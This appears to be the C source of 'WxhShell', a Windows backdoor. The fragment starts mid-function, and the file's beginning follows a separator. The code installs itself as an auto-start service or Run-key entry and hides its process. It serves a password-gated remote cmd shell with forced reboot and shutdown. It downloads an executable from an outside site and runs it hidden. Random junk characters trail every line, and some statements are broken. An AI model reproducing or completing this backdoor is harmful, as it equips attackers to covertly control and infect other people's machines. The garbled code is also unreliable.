    if(Boot(SHUTDOWN)) C{}PO u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bJetqF6 n  
    else { X5YOxMq  
    closesocket(wsh); t$(#$Z,RS  
    ExitThread(0); [:.wCG5  
    } |,p"<a!+{w  
    break; WM`3QJb  
    } m=sEB8P  
  // 获取shell g kO^J{_@q  
  case 's': { ~1D^C |%  
    CmdShell(wsh); P4q5#r  
    closesocket(wsh); u+Ix''Fn#%  
    ExitThread(0); dkz% Y]  
    break; /M%>M]  
  } ,IyQmN y  
  // 退出 ( ne[a2%>  
  case 'x': { a51e~mg Z`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !Pw*p*z  
    CloseIt(wsh); |J,zU6t  
    break; nf^?X`g  
    } CdF;0A9.3  
  // 离开 O\.^H/  
  case 'q': { Vt(Wy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q@~g.AMCB  
    closesocket(wsh); F<k+>e  
    WSACleanup(); -$W1wb9z  
    exit(1); y62f{ks_/  
    break; ?)|}gr  
        } <4LJ #Fx  
  } z )'9[t  
  } `=H*4I-"  
sko7,&  
  // 提示信息 ,)Q-o2(C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P !i_?M  
} ;Y\LsmZ;F  
  } "G [Nb:,CR  
wHbkF#[:i  
  return; w2.] 3QAZ  
} .qSDe+A  
KE3`5Y!  
// shell模块句柄 ^AH[]sE_  
int CmdShell(SOCKET sock) gLX<> |)*  
{ 4HGT gS  
STARTUPINFO si; i8V\x>9  
ZeroMemory(&si,sizeof(si)); IqYJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _# sy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uP'L6p5  
PROCESS_INFORMATION ProcessInfo; uC;_?Bve  
char cmdline[]="cmd"; 3<&:av3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E xhih^[_  
  return 0; MvpJ0Y (  
} \W .CHSD  
zuLW'a6F-  
// 自身启动模式 K khuPBd2  
int StartFromService(void) bFX{|&tHU  
{ KAClV%jP  
typedef struct qR'FbI  
{ !b+4[ xky  
  DWORD ExitStatus; Zu.hcDw1  
  DWORD PebBaseAddress; ,!l_  
  DWORD AffinityMask; &`I(QY  
  DWORD BasePriority; T&_&l;syA  
  ULONG UniqueProcessId; Cjf[]aNJe`  
  ULONG InheritedFromUniqueProcessId; 9VxM1-8Gs  
}   PROCESS_BASIC_INFORMATION; p-}X=O$  
oh8:1E,I  
PROCNTQSIP NtQueryInformationProcess; @e)}#kN.  
f256;3n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X%'z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "@&TC"YG0  
W^[FWFUTY  
  HANDLE             hProcess; {KWVPeh  
  PROCESS_BASIC_INFORMATION pbi; G1z*e.+y  
Xj\ToO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :cC$1zv@  
  if(NULL == hInst ) return 0; Q]K` p(  
,,{;G'R|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~A=zjkm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W<)P@_+-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2|>\A.I|=  
}*6BaB  
  if (!NtQueryInformationProcess) return 0; =IC.FT}  
mITB\,,G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); op}!1y$9P  
  if(!hProcess) return 0; S?0o[7(x*  
45c?0tj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y6v{eWtSn  
b)I-do+  
  CloseHandle(hProcess); 5*$yY-A  
O=2|'L'h!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I_<VGU k  
if(hProcess==NULL) return 0; 6j(/uF4!#  
vUpAW[[  
HMODULE hMod; g0grfGo2p  
char procName[255]; m;dwt1'Zw  
unsigned long cbNeeded; >R F|Q  
}/a%-07R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,R[$S"]!SH  
N[/<xW~x?4  
  CloseHandle(hProcess); pt <zyH3Z  
&zJI~R  
if(strstr(procName,"services")) return 1; // 以服务启动 P1mg;!tq  
>1s a*Wf  
  return 0; // 注册表启动 jo:Z  
} W"Ip]LJ  
<K[y~9u  
// 主模块 63W;N7@  
int StartWxhshell(LPSTR lpCmdLine) j*DPW)RkKX  
{ LlX)xJ  
  SOCKET wsl; |C4fg6XDL  
BOOL val=TRUE; ^ #:;6^Su  
  int port=0; 6j6CA?|  
  struct sockaddr_in door; }:#WjH^  
LL(xi )  
  if(wscfg.ws_autoins) Install(); 8S1@,O,  
Pp_ 4B  
port=atoi(lpCmdLine); 0zr27ko  
A"JdG%t>.h  
if(port<=0) port=wscfg.ws_port; fa/S!%}fO  
 \(\a=  
  WSADATA data; O@Aazc5K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q| D5 A|)  
aS [[ AL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L )JB^cxf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .t@|2  
  door.sin_family = AF_INET; ,clbD4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  ~71U s  
  door.sin_port = htons(port); ; JkSZs3  
=d{6=2Pt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { juHL$SGC  
closesocket(wsl); Ms!EK  
return 1; ws0qwv#  
} ?6:qAFw  
sq'm)g  
  if(listen(wsl,2) == INVALID_SOCKET) { u} mj)Nk  
closesocket(wsl); k+h}HCzE  
return 1; ztO)~uL  
} U<j5s\Y,  
  Wxhshell(wsl); 7%^G ]AFi  
  WSACleanup(); JH.XZM&  
P)Adb~r  
return 0; h[remR# 3\  
N )Z>]&5  
} W;OGdAa_  
_EMI%P& s  
// 以NT服务方式启动 P =X]'m_B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Z G&d  
{ xvTtA61Vp  
DWORD   status = 0; o,rF15  
  DWORD   specificError = 0xfffffff; KR?;7*qF  
!PA:#]J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9<Pg2#*N0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^N={4'G)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o[!'JUxZ  
  serviceStatus.dwWin32ExitCode     = 0; geG0F}oC!  
  serviceStatus.dwServiceSpecificExitCode = 0; Xw4Eti._D  
  serviceStatus.dwCheckPoint       = 0; *?m)VvR>|  
  serviceStatus.dwWaitHint       = 0; X/4CXtX^  
oXG_6E!^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `jE[Xt"@  
  if (hServiceStatusHandle==0) return; .Pm5nS  
UXct+l  
status = GetLastError(); .\XRkr'-  
  if (status!=NO_ERROR) tyR?A>F4  
{ Ub3$`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lM\dK)p21O  
    serviceStatus.dwCheckPoint       = 0; IO\1nB$0nb  
    serviceStatus.dwWaitHint       = 0; N'2?Zb  
    serviceStatus.dwWin32ExitCode     = status; J||g(+H>  
    serviceStatus.dwServiceSpecificExitCode = specificError; HJl?@& l/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bbC@  
    return; | xB`cSu(  
  } S F)$b  
@8W@I|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ud/!@WG  
  serviceStatus.dwCheckPoint       = 0; v<1@"9EH  
  serviceStatus.dwWaitHint       = 0; 84(Jo_9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (@^9oN~}  
} 45JL{YRN  
MRpMmu  
// 处理NT服务事件,比如:启动、停止 + f6LG 0q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9~UR(Ts}l  
{ j e\!0{  
switch(fdwControl) pf8'xdExH)  
{ [E9iuym  
case SERVICE_CONTROL_STOP: _`?0w#> 0  
  serviceStatus.dwWin32ExitCode = 0; g}+|0FTV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mk*4J]PP  
  serviceStatus.dwCheckPoint   = 0; )la3GT*1mS  
  serviceStatus.dwWaitHint     = 0; RE t&QP  
  { ?AFb&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H1-DK+Q:  
  } BwHJr(n  
  return; .B`$hxl*0c  
case SERVICE_CONTROL_PAUSE: S|=)^$:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?nc:bC  
  break; =CQfs6np:N  
case SERVICE_CONTROL_CONTINUE: VD.TosVeWo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MXSD8]je  
  break; g (&cq  
case SERVICE_CONTROL_INTERROGATE: H>+/k-n-  
  break; t=7Gfv  
}; UuIjtqW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .<t{saToU  
} u(Mbp$R' ?  
E3wpC#[Q1  
// 标准应用程序主函数 I{$suPk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NCk-[I?R  
{ nYtkTP!J6  
[4yHXZxza  
// 获取操作系统版本 Be{@ L  
OsIsNt=GetOsVer(); Pim  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j([b)k=  
5]i#l3")  
  // 从命令行安装 !>Nlp,r&~  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z.${WZW  
W1)SgiXnuy  
  // 下载执行文件 0Jv6?7]LKa  
if(wscfg.ws_downexe) { WoXAOj%iW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9'( _*KSH  
  WinExec(wscfg.ws_filenam,SW_HIDE); }d5]N  
} 0eO!,/  
$PM r)U  
if(!OsIsNt) { >9w^C1"  
// 如果时win9x,隐藏进程并且设置为注册表启动 0s`6d;  
HideProc(); o*$KiD  
StartWxhshell(lpCmdLine); V_ 6K?~j  
} 1XN%&VR>^D  
else O+-+=W  
  if(StartFromService()) fS}Eu4Xe  
  // 以服务方式启动 ](oeMl18R  
  StartServiceCtrlDispatcher(DispatchTable); <~|n}&  
else z 4}"oQk:r  
  // 普通方式启动 *$7^.eHfdd  
  StartWxhshell(lpCmdLine); %ZRv+}z  
Z*Ffdh>*:&  
return 0; :+ YHj )mN  
} TD\TVK3P  
.EhC\QpP  
f?Ex$gnI  
2@(+l*.Q  
=========================================== *c#DB{N  
|e8A)xM]wC  
(U5XB [r_P  
ZvuY] =^3  
5^uX!_ r`  
_U}|Le@ e  
" 5{-Hg[+9  
M0m%S:2  
#include <stdio.h> A]"6/Lr9P  
#include <string.h> ,GWa3.&.d  
#include <windows.h> v_5O*F7)  
#include <winsock2.h> ,% yC4  
#include <winsvc.h> G$ zY&  
#include <urlmon.h> 0of:tZU  
v0r:qku  
#pragma comment (lib, "Ws2_32.lib") u9;3Xn8  
#pragma comment (lib, "urlmon.lib") {X, -T&  
="T}mc  
#define MAX_USER   100 // 最大客户端连接数 ?o V.SG'  
#define BUF_SOCK   200 // sock buffer o<b  
#define KEY_BUFF   255 // 输入 buffer MeD/)T{G~  
9on$0  
#define REBOOT     0   // 重启 1q'_J?Xmd  
#define SHUTDOWN   1   // 关机 '1!%yKc0  
Z+R-}<   
#define DEF_PORT   5000 // 监听端口 ;Qd'G7+  
rDaiA x&  
#define REG_LEN     16   // 注册表键长度 %.[AZ>  
#define SVC_LEN     80   // NT服务名长度 >Dv=lgPF  
`iuQ.I  
// 从dll定义API fpNq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $LR~c)}1I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); = r=/L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cmf*BkS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U&kdR+dB  
 0Ns Po  
// wxhshell配置信息 _uh@fRyh  
struct WSCFG { TFc/`  
  int ws_port;         // 监听端口 <y-2ovw*  
  char ws_passstr[REG_LEN]; // 口令 \XY2s&"  
  int ws_autoins;       // 安装标记, 1=yes 0=no PClwGO8'&  
  char ws_regname[REG_LEN]; // 注册表键名 ORo +]9)Yv  
  char ws_svcname[REG_LEN]; // 服务名 aLevml2:T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UL8"{-`_\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G* mLb1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7Il /+l(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %'F[(VB   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2\}6b4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kD+B8TrW  
1p>&j%dk  
}; >GDN~'}^oz  
>*w(YB]/$V  
// default Wxhshell configuration am WIA`n=  
struct WSCFG wscfg={DEF_PORT, /i~n**HeF?  
    "xuhuanlingzhe", ~o ;*{ Q  
    1, G_p13{"IM  
    "Wxhshell", `4]-B@ 7_  
    "Wxhshell", ~f2-%~  
            "WxhShell Service", bU(fH^  
    "Wrsky Windows CmdShell Service", 9/GC8*+  
    "Please Input Your Password: ", 1lUY27MF  
  1, rFv=j :8  
  "http://www.wrsky.com/wxhshell.exe", Y6%O9b  
  "Wxhshell.exe" rUF= uO(  
    }; r+l3J>:K  
== i?lbj  
// 消息定义模块 d 'wWj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0/%VejZ'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Yyh X%S%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T*C]:=)  
char *msg_ws_ext="\n\rExit."; \\Huk*Jn{  
char *msg_ws_end="\n\rQuit."; OGO4~Up  
char *msg_ws_boot="\n\rReboot..."; mm<rdo(`  
char *msg_ws_poff="\n\rShutdown..."; ?To r)>A'  
char *msg_ws_down="\n\rSave to "; ~4tu*\P  
j.rJfbE|X  
char *msg_ws_err="\n\rErr!"; #$>m`r  
char *msg_ws_ok="\n\rOK!"; F0FF:><  
Hq$?-%4  
char ExeFile[MAX_PATH]; Co>=<\yi  
int nUser = 0; ?\Jl] {i2  
HANDLE handles[MAX_USER]; {7X80KI  
int OsIsNt; bc|DC,n?  
g)k::k)<e  
SERVICE_STATUS       serviceStatus; RV:%^=V-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]^^mJt.Iv  
>H?{=H+/#  
// 函数声明 rOy-6og  
int Install(void); O%kX=6  
int Uninstall(void); Xn3Ph!\Z5e  
int DownloadFile(char *sURL, SOCKET wsh); gg%OOvaj5  
int Boot(int flag); O}#h^AU-BS  
void HideProc(void); ] Vbv64M3  
int GetOsVer(void); F .JvMy3  
int Wxhshell(SOCKET wsl); S2fBZ=V8  
void TalkWithClient(void *cs); 5eW GX  
int CmdShell(SOCKET sock); A|d(5{:N  
int StartFromService(void); ;HeUD5Nt6F  
int StartWxhshell(LPSTR lpCmdLine); 3"hPplE  
* 7 o(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t/aT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wGf SVA-q\  
_6 |lw&o07  
// 数据结构和表定义 }A%Sx!7~  
SERVICE_TABLE_ENTRY DispatchTable[] = Hh8)d/D  
{ ~O}LAzGb  
{wscfg.ws_svcname, NTServiceMain}, y\&`A:^[ A  
{NULL, NULL} 9q -9UC!g  
}; _YW1Mk1  
F|XRh6j  
// 自我安装 _ZfJfd~  
int Install(void) Iw$7f kq  
{ ,$96bF "#  
  char svExeFile[MAX_PATH]; Q=%1@ ,x"  
  HKEY key; n15F4DnP  
  strcpy(svExeFile,ExeFile); Tn qspS2;R  
viT/$7`AI  
// 如果是win9x系统,修改注册表设为自启动 w#5^A(NR  
if(!OsIsNt) { $!x8XpR8s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !$x9s'D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); COa"zg  
  RegCloseKey(key); z5v)~+"1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %_!YonRY|X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  IR,`-  
  RegCloseKey(key); kmm1b (  
  return 0; nxP>IfSA  
    } 2#:h.8  
  } | *Dklo9{  
} k ckWBL  
else { >v9 ("  
JZP>`c21y]  
// 如果是NT以上系统,安装为系统服务 ~1Q$FgLk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i*'6"  
if (schSCManager!=0) oq4*m[  
{ _ a|zvH  
  SC_HANDLE schService = CreateService cbD&tsF  
  ( -gl7mO*  
  schSCManager, hTZaI*  
  wscfg.ws_svcname, ^9 gFW $]  
  wscfg.ws_svcdisp, %:2<'s2Si  
  SERVICE_ALL_ACCESS, F7wpGtt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n0:Y* Op  
  SERVICE_AUTO_START, E=.4(J7K  
  SERVICE_ERROR_NORMAL, |T~C($9  
  svExeFile, 't:|>;Wx  
  NULL, #8G (r9  
  NULL, Cvr?%+)$M  
  NULL, ,lLkAd?q  
  NULL, V8w!yc  
  NULL FOxMt;|M  
  ); %]Gm  
  if (schService!=0) `VT[YhO#}  
  { ?'_E$  
  CloseServiceHandle(schService); ^fT|Wm<  
  CloseServiceHandle(schSCManager); a,3} o:f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o;+$AU1f  
  strcat(svExeFile,wscfg.ws_svcname); ;ZMm6o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s+;J`_M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^| L@f  
  RegCloseKey(key); GE]cH6E  
  return 0; fX=o,=-f  
    } ZtPq */'  
  } yES+0D5<  
  CloseServiceHandle(schSCManager); z;GR(;w/  
} c`94a SnV  
} D3s]49j)  
hce *G@b  
return 1; \M-}(>Pfk  
} ,"~#s(  
OTs vox|(  
// 自我卸载 pBV_'A}ioh  
int Uninstall(void) u-g2*(ZT  
{ O`_!G`E  
  HKEY key; zWYm* c"n\  
z yyt`  
if(!OsIsNt) { $Cw> z^}u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !e?g"5r{Bv  
  RegDeleteValue(key,wscfg.ws_regname); dGf:0xE"  
  RegCloseKey(key); x#ub % t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iq_y80g`8h  
  RegDeleteValue(key,wscfg.ws_regname); EY=`/~|c  
  RegCloseKey(key); @giJ&3S,  
  return 0; .:?X<=!S&t  
  } V3 j1M?>  
} ns|)VX   
} )&R^J;W$M1  
else { CPssk,q~C  
}!=}g|z#|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R0dIxG%  
if (schSCManager!=0) Uf#.b2]  
{ UV}\#86!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UX3 ]cr  
  if (schService!=0) {[~cQgCI  
  { {kGcZf3h  
  if(DeleteService(schService)!=0) { 69#D,ME?  
  CloseServiceHandle(schService); n\8;4]n  
  CloseServiceHandle(schSCManager); 0'T*l 2Z`2  
  return 0; gFR9!=,/V%  
  } >\=~2>FCD  
  CloseServiceHandle(schService); VhdMKq~`  
  } "J|_1!9  
  CloseServiceHandle(schSCManager); fx &b*O C  
} $^|I?5xD  
} * 7: )k  
bvY'=   
return 1; !QK ~l  
} *7.EL`8  
6%  +s`  
// 从指定url下载文件 `NIc*B4q.  
int DownloadFile(char *sURL, SOCKET wsh) gd~# uR\  
{ zrD];DP  
  HRESULT hr; &?\'Z~B4  
char seps[]= "/"; ^MJTlRUb  
char *token; 1<Fh aK  
char *file; TEC'}%   
char myURL[MAX_PATH]; jx_n$D  
char myFILE[MAX_PATH]; M>H4bU(  
5 fpBzn$  
strcpy(myURL,sURL); xlQl1lOX  
  token=strtok(myURL,seps); bo^d!/ ;  
  while(token!=NULL) }1<_  
  { 2,.%]U  
    file=token; '\yp}r'u  
  token=strtok(NULL,seps); 0Y7b$~n'Y  
  } Xq"@Z  
B^'Uh+Y  
GetCurrentDirectory(MAX_PATH,myFILE); NPjh2 AJm  
strcat(myFILE, "\\"); C1 qyjlR  
strcat(myFILE, file); a&yIH;-  
  send(wsh,myFILE,strlen(myFILE),0); fJ"#c<n  
send(wsh,"...",3,0); -oGJPl{r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2w>l nJ-  
  if(hr==S_OK) *Jd,8B/hC  
return 0; <YU+W"jQT  
else -~z]ut<Z  
return 1; CS[[TzC=5  
P $4h_dw  
} vwZd@%BO  
S,&tKDJn  
// 系统电源模块 GtZkzVqLd  
int Boot(int flag) =*f>vrme  
{ WH Zz?|^  
  HANDLE hToken; 0fc]RkHs"  
  TOKEN_PRIVILEGES tkp; A)I4 `3E  
&mebpEHUG7  
  if(OsIsNt) { ppcuMcR{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [5&zyIi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q8:`;W  
    tkp.PrivilegeCount = 1; wFr}]<=Mi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,>-Q#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zkn$D:  
if(flag==REBOOT) { iy&*5U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :/e= J  
  return 0; v` 9^?Xw)  
} J)6A,:wt  
else { "m^whHj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [kc%+j<g  
  return 0; z?C;z7eT  
} p)M\q fZ  
  } ~z''kH=e  
  else { J:M)gh~#  
if(flag==REBOOT) { 9A]XuPAlh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QInow2/u  
  return 0; ]s lYr8m  
} :Uu Py|>  
else { B Z:H$v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rV LUT  
  return 0; .f'iod-   
} S30@|@fTz  
} -BWkPq!  
!X 3/2KRP7  
return 1; p^_E7k<ag  
} [oOA@  
#A|~s;s>N  
// win9x进程隐藏模块 .hh 2II  
void HideProc(void) Up|\&2_  
{ ZB-+ bY  
.F'fBT` $  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (n{sp  
  if ( hKernel != NULL ) -e_+x'uF  
  { 5[WhjTo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {Kp<T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PPCZT3c=  
    FreeLibrary(hKernel); Uk5O9D0 He  
  } 5- Q`v/w;  
H!dUQ  
return; MxiU-  
} ailje  
dvUBuY^[  
// 获取操作系统版本 K`PmWxNPh  
int GetOsVer(void) V'h O  
{ 7#Qa/[? D  
  OSVERSIONINFO winfo; -C$Z%I7 0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /*GRE#7S  
  GetVersionEx(&winfo); cK.T=7T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) md[FtcY\  
  return 1; CL(,Q8yG  
  else ^&t(O1.-  
  return 0; Qi^MfHW  
} Vy = fm  
]y 6`9p  
// 客户端句柄模块 fTi,S)F'  
int Wxhshell(SOCKET wsl) Xq&x<td  
{ zE V J  
  SOCKET wsh; 8uME6]m i  
  struct sockaddr_in client; @URLFMFi  
  DWORD myID; nbYkr*: "t  
H3 _7a9  
  while(nUser<MAX_USER) FAu G`zu  
{ an3HKfv  
  int nSize=sizeof(client); T6f{'.w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6Rn_@_Nn)f  
  if(wsh==INVALID_SOCKET) return 1; $;*YdZ`q  
l79jd%/m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q>&F%;q1]  
if(handles[nUser]==0) qQR> z  
  closesocket(wsh); +P6#7.p`Z  
else R<mLG $  
  nUser++; WfVkewuPo  
  } iL1.R+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /2oTqEqaV  
vCwDE~  
  return 0; ?,r bD 1  
} "fLGXbNQ  
[d!C6FT  
// 关闭 socket @18@[ :d"  
void CloseIt(SOCKET wsh) xM%E;  
{ ( 5 d ~0  
closesocket(wsh); lwLK#_5u  
nUser--; R~b9)  
ExitThread(0); B$7m@|p!  
} bxP>  
@1P1n8mH]  
// 客户端请求句柄 s<qSelj  
void TalkWithClient(void *cs) : o$ R@l  
{ @u/<^j3Q  
1G|Q~%cv  
  SOCKET wsh=(SOCKET)cs; XzQ=8r>l  
  char pwd[SVC_LEN]; @.kv",[{[  
  char cmd[KEY_BUFF]; -mZo`  
char chr[1]; MAR kTxzi  
int i,j; l1c&a[M)  
,$3  
  while (nUser < MAX_USER) { u*Oz1~  
c%)uG _  
if(wscfg.ws_passstr) { '2]u{rr~+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i`r,B`V`08  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f7X#cs)a  
  //ZeroMemory(pwd,KEY_BUFF); &tZ?%sr  
      i=0; 6f=/vRAh$  
  while(i<SVC_LEN) { p'k stiB  
~PvW+UMLk  
  // 设置超时 FStE/2?  
  fd_set FdRead; ?OKm~ Ek  
  struct timeval TimeOut; *6*#"#D  
  FD_ZERO(&FdRead); cFUYT$8>  
  FD_SET(wsh,&FdRead); d^ !3bv*h  
  TimeOut.tv_sec=8; H'I|tPs  
  TimeOut.tv_usec=0; CV4V_G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U^Z[6u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0s0[U  
5HG 7M&_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .mDqZOpf=4  
  pwd=chr[0]; o;Zoj}  
  if(chr[0]==0xd || chr[0]==0xa) { ,-CDF)~G=3  
  pwd=0; vyV n5s  
  break; B\|>i~u(  
  } v}z o v Ei  
  i++; LO.4sO  
    } zx-+u7qKH  
:G^`LyOM  
  // 如果是非法用户,关闭 socket ENC_#- 1x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =(v!pEF  
} SX^fh.  
94APjqV6'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w^|,[G ^}H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X 3L9j(  
w#F+rh3  
while(1) { |@nvg>mu  
e+y< a~N  
  ZeroMemory(cmd,KEY_BUFF); 4Bx1L+Cg  
Z(K[oUJx  
      // 自动支持客户端 telnet标准   NH 'RU`U)  
  j=0; +7 F7Kh  
  while(j<KEY_BUFF) { H.idL6*G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P+}qaup  
  cmd[j]=chr[0]; q'(WIv@  
  if(chr[0]==0xa || chr[0]==0xd) { !+ uMH!  
  cmd[j]=0; 'dWJ#9C  
  break; phXVuQ  
  } ZX'{o9+w5  
  j++; h| UT/:  
    } IU$bP#<  
{'DP/]nK  
  // 下载文件 +"3eh1q[  
  if(strstr(cmd,"http://")) { XOqpys  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CHeG{l)<r  
  if(DownloadFile(cmd,wsh)) }0 <x4|=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sTG+c E  
  else 2zFdKs,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6S6nE%.3  
  } t C6c4j  
  else { )sV# b  
u/.s rK!K  
    switch(cmd[0]) { +ypG<VBx%  
  tMAa$XrZj  
